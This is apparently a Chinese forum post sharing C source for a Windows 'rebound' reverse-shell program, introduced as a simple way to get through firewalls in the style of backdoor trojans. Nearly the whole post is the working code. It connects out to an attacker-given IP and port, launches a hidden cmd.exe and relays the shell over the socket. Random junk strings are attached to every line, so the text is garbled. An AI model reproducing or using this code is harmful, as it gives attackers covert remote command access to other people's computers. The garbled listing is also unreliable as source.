这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 <rZ(B>$
@: u>
/* ============================== S)T]>Ash
Rebound port in Windows NT { O+d7,C
By wind,2006/7
#nV F.
===============================*/ r>4HF"Nm
#include jnfktDV'
#include Atc<xp
^'j? {@
#pragma comment(lib,"wsock32.lib") ]n9o=^q/
A)9OkLrc
void OutputShell(); )[&'\SOO
SOCKET sClient; [IT*>;b+?
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; h>AK^fX
fgrflW$
void main(int argc,char **argv) wVU.j$+_#
{ qdkhfm2(K
WSADATA stWsaData; Bw
_^"e8X
int nRet; h"Qp e'D}
SOCKADDR_IN stSaiClient,stSaiServer; &[u%ZL
)Qe<XJH!
if(argc != 3) 77D>;90>?
{ jFbj)!;
printf("Useage:\n\rRebound DestIP DestPort\n"); H9}z0VI
return; ;}v#hKC~
} ]
TY$
dm8N;r/w
WSAStartup(MAKEWORD(2,2),&stWsaData); to-DXT.
lrqu%:q
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); "Sm'TZx
xNlxi
stSaiClient.sin_family = AF_INET; 8S*3W3HY
stSaiClient.sin_port = htons(0); 4&b*|"Iw
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); }LK +w+h~
g=*'kj7c3
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ?=zF]J:G1w
{ A[W3.$s
printf("Bind Socket Failed!\n"); c>I(6$
return; %d-|C.
} D6X0(pU0
Cngi5._Lb
stSaiServer.sin_family = AF_INET; mX8k4$z
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); .[mI9dc
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Hw"LoVh
r<< ]41
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Nfv.v1Tt+
{ @">^2
printf("Connect Error!"); ?'>pfU
return; 'cp1I&>
} CK[w0VCT
OutputShell(); +H"[WZ5
} `"@Pr,L
l9Xz,H
void OutputShell() MTI[Mez
{ }eKY%WU>O
char szBuff[1024]; i2bkgyzB.
SECURITY_ATTRIBUTES stSecurityAttributes; Xy(8}
OSVERSIONINFO stOsversionInfo; ?2d! ^!9
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Z`jc*jgy
STARTUPINFO stStartupInfo; i|N%dl+T=
char *szShell; :$k];
PROCESS_INFORMATION stProcessInformation; s=KK)6T
unsigned long lBytesRead; )gNS%tc*K
h"#[{$(
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); LDX>S*cL
1u `{yl*+?
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 9NXL8QmC8
stSecurityAttributes.lpSecurityDescriptor = 0; 2TQyQ%
stSecurityAttributes.bInheritHandle = TRUE; MS Qz,nn
{>EM=ZZfg
RaT.%:CRm
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); M~h^~:Lk
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); {$
a
$m
-_`dA^
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); X(r$OZ
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `1xJ1z#
stStartupInfo.wShowWindow = SW_HIDE; \US'tF)/
stStartupInfo.hStdInput = hReadPipe; 62s0$vw
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; e-&0f);i
|.]g&m)y^h
GetVersionEx(&stOsversionInfo); 9nGS"E l{
PiL[&_8g
switch(stOsversionInfo.dwPlatformId) PxAUsY
{ :"G x
case 1: {7F?30: ]
szShell = "command.com"; GkU]>8E'"
break; :o37 V!
default: +cXdF
szShell = "cmd.exe"; 1uwzo9Yg
break; QV%,s!_b
} 1r:i'cWh
P<E!ix
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); =|j~*6Hd
ta
send(sClient,szMsg,77,0); =6YffXa_s
while(1) w *Txc}
{ [}*xxy
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 0?80V'
if(lBytesRead) ?xTdL738
{ ,qUOPW?=
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); $ca>bX]
send(sClient,szBuff,lBytesRead,0); sUe<21:
} ]r&dWF
else paYvYK-K?
{ j&y>?Y&Sb
lBytesRead=recv(sClient,szBuff,1024,0); wJ>.I<F6B
if(lBytesRead<=0) break; ^J-"8%
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); PSB@yV <
} =@\Li)Y
} nqv#?>Z^OT
e0e3b]
return; CqAv^n7 }
}